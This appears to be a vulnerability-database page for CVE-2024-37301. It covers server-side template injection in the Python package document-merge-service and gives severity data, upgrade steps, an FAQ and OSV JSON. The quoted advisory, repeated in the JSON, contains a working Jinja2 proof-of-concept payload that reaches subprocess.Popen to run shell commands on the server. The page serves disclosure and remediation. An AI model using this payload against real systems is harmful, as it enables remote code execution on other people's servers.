CVE-2024-37301: Document merge service Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-v5gf-r78h-55q6
CVSS 7.2
CWE-1336
Published
Advisory Summary

CVE-2024-37301 is a HIGH (CVSS 7.2) remote code execution vulnerability (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) affecting Document merge service libraries in the PyPI ecosystem. The issue involves document-merge-service vulnerable to remote code execution via server-side template injection. Remediation is available by upgrading affected packages to version 6.5.2.

CVE-2024-37301 at a Glance

CVE Identifier CVE-2024-37301
GHSA Identifier GHSA-v5gf-r78h-55q6
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Affected Product Document merge service
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-37301

To remediate this vulnerability, upgrade all affected Document merge service dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

document-merge-service fixed: 6.5.2
pip install document-merge-service>=6.5.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show document-merge-service

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2024-37301, inspect your installed packages using pip:

pip show document-merge-service

Analyze the terminal output to locate any version of Document merge service in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.5.2), your application is affected.

Note: The pip show document-merge-service command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine, where the product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. In Document merge service, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact _What kind of vulnerability is it? Who is impacted?_ A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container. ### Patches _Has the problem been patched? What versions should users upgrade to?_ It has been patched in v6.5.2 ### References _Are there any links users can visit to find out more?_ - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti ### POC Add the following to a document, upload and render it: ```jinja2 {% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }} whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }} uname -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }} {% endif %} ``` The index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that. ![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)

CVE-2024-37301 Affected Document merge service Versions

1 component(s)
Fixed Versions:
6.5.2
Product / Package Ecosystem Affected Versions Fixed Version
document-merge-service
PyPI
< 6.5.2
6.5.2

References

Frequently Asked Questions

What is CVE-2024-37301?
CVE-2024-37301 is a security vulnerability in Document merge service involving document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine.
Which Document merge service versions are affected?
Affected versions include releases prior to 6.5.2 across affected packages: document-merge-service.
What version fixes CVE-2024-37301?
Upgrading to 6.5.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is document-merge-service affected?
Yes, document-merge-service is affected in releases prior to 6.5.2. Upgrade your dependency to 6.5.2 or later.
What is the CVSS score of CVE-2024-37301?
CVE-2024-37301 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2024-37301?
CVE-2024-37301 is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.).
How can I check PyPI dependencies for CVE-2024-37301?
Run the dependency tree command: 'pip show document-merge-service'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v5gf-r78h-55q6",
  "modified" : "2026-02-04T19:39:54Z",
  "published" : "2024-06-11T20:22:55Z",
  "aliases" : [ "CVE-2024-37301" ],
  "summary" : "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection",
  "details" : "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has been patched in v6.5.2\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "document-merge-service"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.5.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-37301"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/adfinis/document-merge-service"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-06-11T20:22:55Z",
    "nvd_published_at" : "2024-06-11T19:16:07Z"
  }
}